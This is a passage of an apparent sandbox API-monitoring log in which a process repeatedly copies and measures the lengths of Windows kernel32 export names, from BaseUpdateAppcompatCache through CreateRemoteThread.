(in: lpString1=0x2c4eb68, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.541] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.541] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.541] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.541] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.541] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.541] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.541] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.541] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.541] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.542] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.542] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.542] lstrlenA (lpString="BEEP") returned 4 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.542] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.542] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.542] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.542] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.542] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.542] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.542] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.542] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.542] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.542] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.542] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.542] lstrlenA (lpString="CANCELIO") returned 8 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.542] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.542] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.542] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.543] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.543] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.543] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.543] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.543] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.543] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.543] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.543] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.543] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.543] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.543] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.543] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.543] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.543] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.543] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.543] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.543] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.544] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.544] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.544] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.544] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.544] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.544] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.544] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.544] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.544] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.544] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.544] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.544] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.544] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.544] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.544] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.544] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.544] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.544] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.544] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.545] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.545] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.545] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.545] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.545] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.545] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.545] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.545] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.545] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.545] lstrlenA (lpString="COPYFILEA") returned 9 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.545] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.545] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.545] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.545] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.545] lstrlenA (lpString="COPYFILEW") returned 9 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.545] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.545] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.545] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.546] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.546] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.546] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.546] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.546] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.546] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.546] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.546] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.546] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.546] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.546] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.546] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.546] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.546] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.546] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.547] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.547] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.547] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.547] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.547] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.547] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.547] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.547] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.547] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.547] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.547] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.547] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.547] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.547] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.547] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.547] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.547] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.547] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.547] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.548] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.548] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.548] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.548] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.548] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.548] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.548] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.548] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.548] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.548] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.548] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.548] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.548] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.548] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.548] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.548] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.548] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.548] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.549] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, 